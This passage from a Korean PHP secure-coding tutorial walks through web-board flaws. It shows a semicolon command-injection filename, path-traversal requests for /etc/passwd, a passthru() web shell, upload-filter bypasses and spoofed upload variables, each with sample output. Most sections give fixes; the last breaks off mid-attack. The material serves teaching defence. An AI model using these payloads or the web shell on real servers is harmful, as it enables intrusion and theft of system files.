    filename : test;/usr/bin/touch /tmp/imbeist

    이런 식으로 file name 을 주어 Server 에 올린다면 mysql Database 에도
    test;/usr/bin/touch /tmp/imbeist 가 올라가게 될 것이다. 그리고 해당 게시물을
    다시 지운다면 delete_list.php3 에 의해서

    @system("rm -rf data/test1/4444444/test;/usr/bin/touch /tmp/imbeist");

    의 명령이 실행될 것이다.
    (여기서 test1 과 4444444 는 임의로 만든 것이다)

    그렇다면 세미콜론에 의해서 두 명령이 내려질 것이고 touch 를 이용하여
    cracker 는 /tmp directory 밑에 imbeist 라는 file 을 생성시킬 수 있다.
    이 것을 이용하여 term 이라든가 port 를 열어서 shell 을 실행 시킬수 있게끔
    해놓는다던가 방법은 많다. Cracker 에게 있어서 이 Security Hole 은 Web hacking
    에 있어서 궁극적인 목표까지 다달은 것이다.

    해결책을 알아 보자.

    필자가 생각하는 해결 방법은 (위의 상황으로만 프로그래밍을 해야할때)
    file name 을 체크하는 것이다. file name 에는 정상적인 알파벳이나 숫자, 그리고
    . 를 제외하고 나머지의 문자가 들어갈 필요가 없다. 그래서 file name 을 검사할때
    만약 ../ or ; or | 같은 문자가 들어온다면 script 실행을 중지하는 것이 좋을것
    같다.

    if(eregi(";", $file_name))
    {
    echo "장난하니?.. file 이름에 ; 가 들어있습니다.";
    exit;
    }

    if(eregi("\|", $file_name))
    {
    echo "장난하니?.. file 이름에 | 가 들어있습니다.";
    exit;
    }

    (여기에서는 ; 과 | 만 처리를 하였다.)

    위와 같은 방법으로 script 실행을 중지하는 것을 원치 않는다면 eregi_replace
    같은 function 을 이용하여 빈칸으로 만드는 방법도 괜찮은 방법이다.



    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    2) Open 함수 사용시 주의할점

    이번 주제는 Web 프로그래밍 중에서 가장 일어나기 쉬운 버그 중의 하나이다.
    Web CGI 에서 File Open 은 많이 쓰이는 알고리즘 중에 하나이다. 하지만
    이 알고리즘이 잘못 쓰여졌을 경우에 심각한 Security Hole 을 일으킬 수도
    있다.

    Web CGI 에서 File Open 이 쓰이는 경우를 보자. 예를 들어 Web Page 의 Menu
    를 구현한다고 하자.

    menu.html

    <html>
    <head>
    <title>Beist Home 에 오신 것을 환영합니다.</title>
    </head>
    <body>
    <center>
    <a href=link.php?file=profile.html>나의소개</a><br>
    <a href=link.php?file=board.html>게시판</a><br>
    <a href=link.php?file=site.html>추천사이트</a><br>
    </center>
    </body>
    </html>

    간단하게 구현해 본 Menu 이다. Menu 는 나의소개, 게시판, 추천사이트로 나뉘
    어져 있으며 link.php 라는 File 을 통해 접근을 한다. 각 페이지를 모두 설명할
    필요는 없으니 profile.html 파일만 따로 작성하여 설명하겠다.

    link.php

    1 <?
    2
    3 $exist = file_exists("./$file");
    4 if(!$exist)
    5 {
    6 echo "$file 파일은 없다.\n";
    7 exit;
    8 }
    9
    10 $fp=fopen("./$file", "r");
    11
    12 while(!feof($fp))
    13 {
    14 $msg .= fgets($fp,100);
    15 }
    16
    17 $msg=nl2br($msg);
    18
    19 echo $msg;
    20
    21 ?>

    profile.html

    <html>
    <head>
    <title>yo man.. i'm beist</title>
    <body>
    전 남자에요. 84 년생이고요. 별명은 스누피.
    </body>
    </html>

    link.php 의 기능은 간단하다. 먼저 fopen 을 시도하기 전에 file_exists 를
    이용하여 현재 디렉토리에 그런 파일이 있는지 없는지 확인을 하고 없으면
    script 실행을 중지시킨다. 존재한다면 fopen 을 이용하여 현재 디렉토리를 기준으로
    read mode 로 file 핸들러를 연다. 그리고 $msg 에 file 의 내용을 담은 후에
    사용자에게 뿌려준다. 여기에서는 현재 directory 를 기준으로 한다는 것을
    명시하기 위하여 $file 앞에 ./ 를 붙였지만 ./ 를 붙이지 않아도 php 에서는
    현재 directory 에서부터 찾으라는 것으로 인식한다.

    만약 link.php?file=profile.html 이라고 한다면 file 변수의 값인 profile.html
    을 열어서 사용자에게 보여주는 것이다.

    [요청]
    http://server/link.php?file=profile.html

    [결과]
    전 남자에요. 84 년생이고요. 별명은 스누피.

    하지만 이런 알고리즘은 취약성을 갖는다. link.php 를 요청할때 file 의 변수를
    cracker 임의대로 변경하여 요청을 한다면 link.php 에서는 cracker 가 임의로
    변경한 file 의 내용을 돌려줄 것이다.

    예를 들어

    [요청]
    http://server/link.php?file=../../../../../../../../../etc/passwd

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    file 의 값을 상위디렉토리로 이동하기 위하여 ../ 를 여러개를 붙였고 etc
    directory 밑에 존재한 passwd file 을 열어서 cracker 는 passwd file 을
    볼 수 있었다.

    해결책을 알아 보자.

    개발자가 이 상황에서 신경써야 할 부분은 link.php 를 호출할때 인자로 딸려오는
    변수 $file 이다. cracker 가 $file 의 내용을 변경하더라도 link.php 에서는
    올바르게 처리할 수 있어야 한다.

    추천하는 처리 방법은 $file 의 내용을 조사하여 .. 같은 문자가 있다면 필터링을
    하는 것이다. 다음은 취약성을 개선한 소스이다.

    link2.php

    1 <?
    2 if(eregi("\.\.", $file))
    3 {
    4 echo "장난하니?.. file 이름에 .. 가 들어있으면 안됩니다.";
    5 exit;
    6 }
    7 $exist = file_exists("./$file");
    8 if(!$exist)
    9 {
    10 echo "$file 파일은 없다.\n";
    11 exit;
    12 }
    13
    14 $fp=fopen("./$file", "r");
    15
    16 while(!feof($fp))
    17 {
    18 $msg .= fgets($fp,100);
    19 }
    20
    21 $msg=nl2br($msg);
    22
    23 echo $msg;
    24
    25 ?>

    2 번째 라인에서 eregi 를 이용하여 $file 의 내용에 .. 가 있는지 check 를
    하였다. 만약 .. 라는 스트링이 $file 안에 존재한다면 cracking 시도로 간주
    하고 script 실행을 중지시키고, 들어있지 않다면 정상적으로 script 를 계속
    실행한다.

    [요청]
    http://server/link.php?file=../../../../../../../../../etc/passwd

    [결과]
    장난하니?.. file 이름에 .. 가 들어있으면 안됩니다.

    이런 식으로 해결을 할 수도 있고 eregi_replace 를 이용하여 .. 를 공백으로
    만들어 무시할 수도 있을 것이다.

    위의 방법에 대하여 어떤 문제점이 발생할 수도 있다. Shell 에서는 (bash
    shell 기준) ../ 말고도 상위디렉토리로 접근하는 방법이 있다.

    예를 들어

    $ cd ./.\./

    이렇게 입력하면 상위 디렉토리로 이동한다는 것을 뜻한다. 그래서 만약 해커가

    http://server/link.php?file=./.\./.\./.\./.\./.\./etc/passwd

    이런식으로 요청을 한다면 eregi 는 체크를 하지 못할 것이다. 하지만 이 것은 걱정
    하지 않아도 된다. 왜냐하면 data 가 전송되어질때 encode-decode 과정에서 \ or
    ' or " 앞에는 \ 문자가 하나 더 붙기 때문이다. 그래서 실제로 저렇게 요청을
    한다더라도

    ./.\\./.\\./.\\./.\\./.\\./etc/passwd

    이란 파일을 열려고 시도하게 된다. 하지만 만약 php.ini 같은 설정 파일에서
    magic_quote 값을 변경하였을 경우 escape (\) 문자가 앞에 붙지 않게 된다.
    그래서 cracker 의 요청대로 passwd 파일을 open 할 것이고 출력하게 된다.



    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    3) 눈에 보이지 않는 것에 대해 주의할점

    이번 주제 역시 Web 프로그래밍 시에 일어나기 쉬운 취약성 중 하나이다.
    아마도 Web 프로그램 만큼 BUG 가 많은 것도 없을 것이다. 왜냐하면 인터넷의
    발전에는 WWW 가 있었고 WWW 의 대부분에 CGI 가 사용되기 때문이다.
    (CGI 개발자들이 CGI 개발을 잘 못했다는 이야기가 아니라 워낙 많은 양의 CGI
    가 있어서 많은 BUG 가 발견 될 수 밖에 없다는 이야기이다.)

    이번의 BUG 는 BUG 라기보다는 개발자의 단순한 실수로 인한 것이라고 보는 것이 더
    정확할 듯 하다.

    이번에는 공지사항을 예로 들어서 설명을 하겠다. 공지사항은 Admin 만 올릴 수
    있는 Board 같은 것입니다.

    그러면 일반 사용자가 글을 쓸수 있지 못하도록 프로그래밍을 해야 한다.
    하지만 어떤 Web CGI 에서는 아주 이상한 방법으로 사용자가 글을 쓸수 없도록
    하기도 한다.

    board.php

    1 <?
    2
    3 echo "
    4 <html>
    5 <head>
    6 <title>게시판 Menu</title>
    7 </head>
    8 <body>
    9 ";
    10
    11 include "list_board.php";
    12
    13 echo "<br><br>";
    14
    15 echo "<a href=list.php>게시물 리스트</a><br>";
    16 echo "<a href=next.php>다음 글</a><br>";
    17 echo "<a href=pre.php>이전 글</a><br>";
    18
    19 if($adminpw="123456")
    20 {
    21 echo "<a href=writeform.html>공지사항쓰기</a><br>";
    22 echo "<a href=delete.html>글 삭제하기</a><br>";
    23 echo "<a href=modify.html>글 수정하기</a><br>";
    24 }
    25 echo "
    26 </body>
    27 </html>
    28
    29 ?>

    11 번째 줄에서 list_board.php 를 include 하는데 list_board.php 의 기능은
    공지사항의 게시물을 출력해주는 Script 이다. list_board.php 는 설명하려는
    취약성이 아니므로 소스 첨부를 하지 않겠다. 게시물의 리스트를 보여주고
    15~17 에서는 일반적인 게시판 메뉴들을 보여준다.

    그리고 만약 board.php 를 요청하였을때 변수 $adminpw 가 있고, 그 값이
    123456 이라면 이 사용자는 Admin 으로 인식하여 Admin 메뉴들도 뿌려준다.
    21~23 에서 쓰기, 삭제, 수정 메뉴들을 보여준다.

    모두 다 같은 원리이므로 여기서는 쓰기만을 예로 들어서 설명하겠다.

    writeform.html

    <html>
    <head>
    <title>이 page 는 공지사항 write form 이다.</title>
    </head>
    <body>
    <form action=write_ok.php method=post>
    제목 : <input type=text name=subject><br>
    본문 : <input type=text name=comment><br>
    비밀번호 : <input type=password name=pass><br>
    <input type=submit value=글쓰기>
    </form>
    </body>
    </html>

    위와 같은 write form 을 이용하여 우리는 공지사항을 올릴 수 있을 것이다.

    하지만 writeform.html 을 보다시피 writeform.html 자체에서는 이 사람이
    admin 인지 아닌지 확인하는 알고리즘이 없다. (write_ok.php 에서도 Admin
    인지 확인하는 알고리즘이 없다고 가정한다.) 그래서 만약 Cracker 가
    board.php 에서 $adminpw 와 그에 맞는 값을 가지고 요청을 하지 않아도,
    writeform.html 의 url 만 알고 있으면 공지사항을 쓸 수 있다는 이야기이다.

    이런 Bug 도 일종의 Security Hole 이라고 할 수 있다. 이런 류의 취약점은
    비슷한 상황에서 여러 종류의 취약점으로 발견된다. 예를 들면 Web Board
    에서 File Upload 시에 <input type=file> 만 출력하지 않아서 자료실 기능이
    없는 것처럼 만들어 놓았지만, 실제로는 자료실 기능이 없는 것이 아니라
    단순하게 <input type=file> 만 출력하지 않는 것이다.

    sample.php

    <?

    echo "
    <html>
    <head>
    <title>write form!</title>
    </head>
    <body>
    <form action=write_ok.php method=post ENCTYPE=\"multipart/form-data\">
    제목 : <input type=text name=subject><br>
    본문 : <input type=text name=comment><br>
    ";

    $fp=fopen("conf.txt", "r");

    $test=fgets($fp, 2);

    if($test==1)
    echo "
    <input type=file name=infile><br>";

    echo "
    <input type=submit value=글쓰기><br>
    </form>
    </body>
    </html>
    ";

    ?>

    이런 식으로 conf.txt file 에서 데이터를 읽은 후 그 값이 만약 1 이라면
    File upload 기능을 사용한다고 보고 <input type=file> 을 출력하여 주는 것
    인데, 만약 Cracker 가 html 을 수정하여 임의로

    <input type=file name=infile>

    를 추가한다면 Cracker 는 자료를 올릴 수 있게 될 것이다. (단 write_ok.php
    에서 별다른 인증을 거치지 않는다는 가정하임)

    한때 이런 버그를 이용하여 악의적인 Script 를 올린 후 Shell 을 획득하는
    방법이 유행하기도 하였다. 이 것은 우습게 보아서는 안될 부분이며 개발자가
    생각하는 것 이상으로 Server 에 피해를 미칠수도 있다.

    해결책을 알아보자.

    개발자가 개발을 하거나 Patch 를 할때 알아둬야 할 사항이 있다. Cracker 가
    Source 를 다 볼수 있는 환경이어도 hacking 을 당해선 안되는 것을 만들어야
    한다.

    이 말은 완벽한 CGI 를 만들라는 것이 아니라, 정석의 알고리즘을 사용하지
    않고 편법을 이용하여 단순히 눈속임을 하는 방법을 사용하지 말라는 이야기이다.

    board.php 와 같은 경우에는 특별히 수정하지 말고 writeform.html 에서 action
    script 인 write_ok.php 를 수정하는 것이 가장 좋은 방법이다.

    write_ok.php 의 맨 앞에 다음과 같은 인증을 한다. 만약 $pass 와 그 값이
    123456 이 아니라면 Admin 이 아닌 사용자가 글을 쓰려는 것으로 인식하여 script
    를 중지시킨다.

    if($pass!="123456")
    {
    echo "입력하신 암호는 정확하지 않습니다.<br>";
    echo "공지사항을 올리 실 수 없습니다.";
    exit;
    }

    sample.php 에서의 write_ok.php 에서는 약간 다르게 처리하면 될 것이다.
    write_ok.php 에서

    $fp=fopen("conf.txt", "r");

    $test=fgets($fp, 2);

    if($test==1) {
    copy($infile, "data/$infile_name");
    chmod("data/$infile_name", 0444);
    }

    이런식으로 file 을 실질적으로 Server 로 Copy 하는 copy 함수를 사용하기 전에
    conf.txt file 을 읽어와 설정값이 1 로 되어있는지 확인하고 1 이 아니라면
    file 을 copy 하지 않는다.



    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    4) file upload 알고리즘 시의 주의할점 -1-

    이번에 다룰 연속적인 주제는 기존의 Web Board 에서 자주 발견된 버그이다.
    이 보안 프로그램에서 다루는 내용이 유난히 Web Board 내용이 많은데 그것은
    Web 에서 Board 의 비율이 굉장히 높은 비중을 차지하고 있으며, Web Board
    에서 나온 대부분의 Security Hole 은 다른 CGI 에서도 드러나는 현상들이기
    때문이다.

    첫번째 다룰 주제는 Board 에 file upload 할때 일어날 수 있는 문제점 중의
    하나이다. php 프로그래밍에서는 사용자가 file 을 올리려 할때 php 와 같은
    확장자를 갖는 file 을 올리는 것을 막아야 한다. 이유는 사용자가 Server 에
    php file 을 올릴 수 있다면 서버에서 shell 을 실행할 수 있기 때문이다.

    예를 들자면 다음과 같은 script 를 Server 에 Upload 했다고 하자.

    hacking.php

    <?
    passthru($beist);
    ?>

    cracker 는 다음과 같은 방법으로 System 에서 Command 를 Execute 할 수있다.

    [요청]
    http://server/hacking.php?beist=cat /etc/passwd

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    cracker 는 Server 의 passwd file 을 읽을 수 있다. (물론 더 침입을 시도
    하였다면 System 의 Root 가 되는 것도 쉽게 가능하였을 것이다.)

    예전에 어떤 CGI 에서 다음과 같은 방법으로 php 업로드를 막으려 하였다.
    하지만, 완벽한 보안은 없는법. 이를 깨는 방법도 있다.

    write_ok.php

    1 <?
    2
    3 /* 절차 생략 */
    4
    5 $check=explode( ".", $in_file_name);
    6
    7 if($check[1]!="txt")
    8 {
    9 echo "죄송합니다. 확장자가 txt 가 아니라면 자료를 올리실 수 없습니다.";
    10 exit;
    11 }
    12
    13 $exist = file_exists("data/$in_file_name");
    14 if($exist)
    15 {
    16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
    17 exit;
    18 }
    19
    20 if(!copy($in_file, "data/$in_file_name"))
    21 {
    22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
    23 exit;
    24 }
    25
    26 chmod("data/$in_file_name", 0444);
    27
    28 unlink($in_file);
    29
    30 /* 절차 생략 */
    31
    32 ?>

    /* 이해를 쉽게 하기 위하여 소스의 맨 앞에 line number 를 붙였다.
    write_ok.php 로 값이 넘어갈때 file 의 변수값은 $in_file 이다. 뒤에
    apache, php 로 돌아가고 있는 서버일때 사용자의 FILE FORM 변수가
    in_file 이라면 넘어올때 $in_file_name, $in_file_size 와 같이 자동적으로
    변수가 붙게 된다. $in_file_name 은 사용자가 올린 file 이름을 말한다.
    5 번째 라인에서 $in_file_name 을 . 을 기준으로 $check 에 배열형식으로
    담는다. 예를 들어 이 문법은, test.php 라는 file 을 사용자가 올렸다면
    $check[0] 에는 test 가, $check[1] 에는 php 가 담기게 된다.
    7 번째 줄에서 $check[1] 의 확장자가 txt 가 아니라면 모두 잘못된
    file 로 간주하고 스크립트 실행을 중지시켜 버린다.
    만약 정상적인 file 이라면 그 다음 스크립트를 진행하여 file 은 아마도
    올바르게 저장이 될 것이다. */

    하지만 이 방법에도 취약점이 존재한다. 분명히 explode 를 이용하여 배열을
    나누긴 하지만 $check[1] 에만 txt 가 담기게 하면 인증을 무사히 통과할 수
    있을 것이다. 그래서 filename 을 hacking.txt.php 라고 올린다다면 $check[1]
    에는 txt 가 담기게 될것이고 결과적으로 php 파일은 올라가게 될것이다.

    [요청]
    http://server/data/hacking.txt.php?beist=cat /etc/passwd

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    php3, html, shtml 와 같이 php 스크립트를 돌릴수 있는 확장자도 더 있지만
    여기서는 설명을 위해 php 확장자 단 하나만이 스크립트를 돌릴 수 있다는
    가정하에 설명하였다.

    해결 방법을 알아보자.

    여기서의 문제점은 file name 에서 . 으로 나눴을때의 기준으로 첫번째
    배열만 검사를 한다는 점이다. (0 부터 시작한다.) 이에 대한 보완점으로
    file name 에서 . 으로 나누었을때 맨 마지막에 위치한 배열을 검사해야한다.
    올바르게 갱신된 소스를 살펴보자.

    write_ok2.php

    1 <?
    2
    3 /* 절차 생략 */
    4
    5 $check=explode( ".", $in_file_name);
    6 $point=count($check)-1;
    7 if($check[$point]!="txt")
    8 {
    9 echo "죄송합니다. 확장자가 txt 가 아니라면 자료를 올리실 수 없습니다.";
    10 exit;
    11 }
    12
    13 $exist = file_exists("data/$in_file_name");
    14 if($exist)
    15 {
    16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
    17 exit;
    18 }
    19
    20 if(!copy($in_file, "data/$in_file_name"))
    21 {
    22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
    23 exit;
    24 }
    25
    26 chmod("data/$in_file_name", 0444);
    27
    28 unlink($in_file);
    29
    30 /* 절차 생략 */
    31
    32 ?>

    추가된 부분은 6 번째 라인이다. $check 배열을 count 함수를 이용하여 몇개의
    배열이 있는지 알아보았고 그 $point 에 담아놓았다. 7 번째 줄에서 검사를 할때
    $point 를 주어 맨 마지막 배열을 검사하도록 하였다.

    결국 cracker 가 hacking.txt.php 를 올려도 txt 가 담긴 배열이 아닌 php 가
    담긴 배열을 검사함으로써 악의적인 목적을 가진 script 의 upload 를 막을 수가
    있다.
    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    5) file upload 알고리즘 시의 주의할점 -2-

    이번에 다룰 주제 역시 Web Board 상에서 File Upload 알고리즘 취약성에 관련되
    었다. 4 번 장에서 설명한바와 같이 php 프로그래밍에서는 사용자가 php 관련파일을
    올릴 수 없도록 막아야 한다. 왜냐하면 악의적인 php 스크립트를 만들어 server 의
    shell 을 얻을수도 있기 때문이다. 만약 cracker 가 shell 을 얻는다면 그것은
    cracker 에게 있어서 Web Hacking 의 최종 목적까지 가게 만든 것이다.

    write_ok3.php

    1 <?
    2
    3 /* 절차 생략 */
    4
    5 if(ereg("php", $in_file_name))
    6 {
    7 echo "장난하니?.. file 이름에 php 가 들어있으면 안됩니다.";
    8 exit;
    9 }
    10
    11
    12
    13 $exist = file_exists("data/$in_file_name");
    14 if($exist)
    15 {
    16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
    17 exit;
    18 }
    19
    20 if(!copy($in_file, "data/$in_file_name"))
    21 {
    22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
    23 exit;
    24 }
    25
    26 chmod("data/$in_file_name", 0444);
    27
    28 unlink($in_file);
    29
    30 /* 절차 생략 */
    31
    32 ?>

    /* 중요 취약점이 되는 부분만 설명하기 위해 불필요한 부분은 생략하였다.
    5 번째 줄에서 사용자가 보내온 file name 중 php 라는 문자열이 있으면
    걸러내기 위해 ereg 라는 함수를 사용하였다. */

    이번에 쓰인 php 파일 upload 막기 알고리즘은 사용자가 보내온 file name 에
    만약 php 라는 문자열이 존재한다면 php 스크립트로 알고 무조건 script 실행을
    취소하는 것이다. 이 방법에는 security hole 말고도 단점이 있다. 예를 들어
    사용자가 php.txt 라는 file 을 올릴때도 악의적인 script 로 간주하여 upload 를
    허용하지 않기 때문이다.

    그렇다면 이 알고리즘에 대한 security hole 을 알아보자.

    ereg 는 지정한 String 에서 특정 단어나 혹은 문자가 포함되어 있는지 알아볼
    수 있게 하는 함수이다. 하지만 ereg 는 소문자만 검사할뿐이지 대문자를 검사하지는
    않는다.

    만약에 cracker 가 file name 을 hacking.php 가 아닌 hacking.pHP 라는 식으로
    뒤에 대문자로 고친다면 ereg 함수는 인식을 하지 못하는 것이다. hacking.pHP 에
    <? passthru($beist); ?> 와 같은 악의적인 기능을 할수있는 script 를 짜서 서버에
    올린다면 cracker 는 System Command Execute 이 가능해질 것이고 이 것은 cracker
    에게 있어서 궁극적인 목표에 다달은 것이다.

    해결책을 알아보자.

    ereg function 은 알파벳의 소문자 밖에 검사를 하지 못한다. 그래서 대문자도
    같이 검사를 하기 위해서는 eregi 라는 함수를 사용해야 한다. eregi fucntion 을
    사용하여 검사를 하면 대, 소문자에 상관없이 check 를 해주기 때문에 위의
    hacking.pHP 같은 회피법을 막을 수 있다.

    write_ok4.php

    1 <?
    2
    3 /* 절차 생략 */
    4
    5 if(eregi("php", $in_file_name))
    6 {
    7 echo "장난하니?.. file 이름에 php 가 들어있으면 안됩니다.";
    8 exit;
    9 }
    10
    11
    12
    13 $exist = file_exists("data/$in_file_name");
    14 if($exist)
    15 {
    16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
    17 exit;
    18 }
    19
    20 if(!copy($in_file, "data/$in_file_name"))
    21 {
    22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
    23 exit;
    24 }
    25
    26 chmod("data/$in_file_name", 0444);
    27
    28 unlink($in_file);
    29
    30 /* 절차 생략 */
    31
    32 ?>

    수정한 부분은 5 번째 줄에서 ereg -> eregi 이다. 이런식으로 check 를 함으로써
    cracking 을 막을 수 있다.









    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    6) file upload 알고리즘 시의 주의할점 -3-

    이번에는 Web Board 상에서 File Upload 부분을 처리할때 Hacking 취약성
    3 번째를 알아보겠다. Cracker 가 Hacking 을 할때 가장 많이 이용하는 취약성은
    어떤 것일까? 단연 Web Hacking 이다. 그 중에서도 Board 의 File Upload
    취약성은 가장 많이 이용된다. 도대체 어떻게 된 구조길래 Cracker 들이
    가장 좋아하는 방법인지 알아보겠다.

    Cracker 가 Web Server 에 CGI 를 올려서는 절대 안된다고 몇차례 이미
    이야기를 했다. 이유는 Cracker 가 악의적인 CGI 를 올릴 수 있으면 서버에
    System Command 를 실행시킬 수도 있기 때문이다.

    이번엔 어떤 취약성일까? 알아보자.

    사용자가 Upload 할 File 을 지정하고, File 을 서버에 올리면 지정된 파일에는
    몇가지의 변수들이 정의되어 진다.

    예를 들어 다음과 같은 폼에서 File 을 올렸다고 가정하자.

    <form action=write_ok.php method=post enctype="multipart/form-data">
    Send this file: <input type=file name=in_file>
    <input type=submit value=Send>
    </form>

    $in_file - Upload 된 File 내용이 저장되어 있는 서버의 임시 File name

    $in_file_name - Upload 한 시스템에서 사용하는 File 의 원래 이름

    $in_file_size - byte 단위의 Upload된 파일의 크기.

    $in_file_type - 만약 browser가 업로드된 파일의 mime 형식을 안다면
    그 mime 형식. (Ex. "image/gif").

    이해를 돕기 위해 위와 같은 폼으로 자료를 올렸을때 나타나는 결과를 보자.
    나는 2309 byte 사이즈의 test.txt 라는 파일을 서버에 올렸다.

    <?

    echo "in_file = $in_file<br>";
    echo "in_file_name = $in_file_name<br>";
    echo "in_file_size = $in_file_size<br>";
    echo "in_file_type = $in_file_type<br>";

    ?>

    [결과]
    in_file = /tmp/phpoIVrVs
    in_file_name = test.txt
    in_file_size = 2309
    in_file_type = text/plain

    우리는 form 의 file type 을 이용하여 in_file 이라는 파일을 올렸는데
    3 가지의 변수가 자동으로 붙었다. 이 변수들은 파일의 type 을 체크하거나
    파일 사이즈등을 체크하려할때 아주 유용하게 사용되어 진다.

    하지만 여기에 Hacking 에 이용될 수 있는 취약점이 발생한다.

    예를 들어 다음의 소스를 보자.

    write_ok.php

    1 <?
    2
    3 /* 생략 */
    4
    5 if($in_file_name)
    6 {
    7 if($in_file_size == 0)
    8 {
    9 echo "모양 파일 크기 0 이양";
    10
    11 exit;
    12 }
    13
    14
    15
    16 }
    17
    18 if($in_file != "none" && $in_file)
    19 {
    20 $filetype = split("/", $in_file_type);
    21 $filetype = $filetype[0];
    22
    23 if($filetype == "text")
    24 $in_file_name = $in_file_name.".txt";
    25
    26 $exist = file_exists("data/$in_file_name");
    27
    28 if($exist)
    29 {
    30 echo "동일한 파일이름이 이미 존재합니다.";
    31 exit;
    32 }
    33
    34 if(!copy($in_file, "data/$in_file_name"))
    35 {
    36 echo "파일 저장 실패! 다시 올리라.";
    37 exit;
    38 }
    39
    40 chmod("data/$in_file_name", 0444);
    41
    42 unlink($in_file);
    43 }
    44
    45 /* 생략 */
    46
    47 ?>

    위 Source 에는 Hacking 취약성이 존재한다.

    이 취약성의 가장 핵심이 되는 내용은 File Upload 후에 자동적으로 붙는
    $in_file_name 과 $in_file_size, $in_file_type 등은 Client 마음대로 바꿀
    수 있다는 것이다.

    위 3 개의 변수들은 Server 에서 자동적으로 처리를 해주기는 하지면 우리에게
    우선권이 있다. 만약 우리가 query 를 보낼때 in_file_name=/etc/passwd 이런
    식으로 정의를 해준다면 Server 에서는 자기 임의대로 in_file_name 을 정의하지
    않는다. (이해를 쉽게 하기 위해 위의 표현을 쓴 것을 이해바란다.)

    write_ok.php 에서 CGI 를 올릴 수 없게 조취를 취한 것은 무엇이 있는지
    알아보자.

    먼저 5 번째 줄에서 in_file_name 변수가 존재한다면, 그러니까 사용자가
    File 을 올렸다면 그 File Size 가 0 인지 검사를 한다. 0 이라면 잘못된
    것으로 인식하여 Script 를 중지시킨다. 그리고 in_file 이 none 이 아니고
    존재했을때, file 의 type 을 구한다. 만약 File Type 이 text 형식이라면
    File 의 이름 뒤에 txt 를 붙인다. 이렇게 하는 이유는 만약 test.php 같은
    Script 를 올렸을때 뒤에 .txt 를 붙여서 WebServer 에서 php 를 실행하지
    않게끔 하기 위한 조취이다. 그래서 위의 상태라면 만약 hacking.php 라는
    File 을 올렸다면 Server 에는 hacking.php.txt 라는 File 이 될 것이다.

    26~32 줄은 File 이 Server 에 이미 존재하는지 확인하는 루틴이고 34 번 줄은
    Server 에 올려진 임시파일을 in_file_name 으로 Copy 를 하는 것이다.

    40 번째 줄은 퍼미션은 444 로 주었다. (user, group, other 에 read 권한만
    부여를 의미) 그리고 42 번째 줄에서 Server 에 올려진 임시파일을 지웠다.

    자 이제 이런 체크를 교묘히 빠져나가 보자. 빠져나가는 방법에는 여러 가지
    방법이 있는데 첫번째는 in_file_name 과 in_file_size 를 조작하는 방법이다.

    먼저 File 을 Read 할 수 있는 방법부터 보겠다. File Read 에서 가장 주의깊게
    봐야할 부분은 34 번째 줄이다.

    File 을 올리기 위해선 File Size 가 0 이 아니어야 한다. 그래서 File Size 에
    임의의 값 100 을 주겠다.

    (여기서 잠깐 php 에서 Copy Function 의 사용법을 간략하게 알아보겠다.
    문법은 다음과 같다. copy(src, dst); src 파일을 dst 로 copy 하라는 뜻이다.)

    src 에 들어가는 in_file 을 /etc/passwd 로 하겠다. 그리고 dst 에는 passwd.txt
    라고 하겠다. 위의 상황을 종합적으로 정리해봤을때 서버에 가야하는 query 는
    다음과 같다.

    http://server/write_ok.php?in_file=/etc/passwd&in_file_name=passwd.txt&in_file_size=100

    위와 같이 보낸다면 php 는 실제로 이렇게 작동될 것이다.

    if(!copy("/etc/passwd", "data/passwd.txt"))

    그럼 실제로 passwd.txt 를 요청하여 보자.

    [요청]
    http://server/data/passwd.txt

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    Remote File Read Attack 을 성공하였다. 하지만 진정한 Cracker 라면 여기서 만족
    하지 않는다. System Command Execute 까지 성공하여 보자.

    위 File Read 방법과 원리는 비슷하므로, 간략하게 절차적으로 설명하고, 필요한
    부분만 더 설명을 하겠다.

    먼저 서버에 정상적인 text File 을 하나 올리자.

    hack.txt

    <?
    passthru($beist);
    ?>

    hack.txt 이 정상적으로 Server 에 올려졌다면 hack.txt 는 hack.txt.txt 로 변해
    있을 것이다. (이해가 안된다면 20~24 번째 줄을 보자.)

    그리고 이렇게 요청을 하자.

    http://server/write_ok.php?in_file=data/hack.txt.txt&in_file_name=realhack.php&in_file_size=100

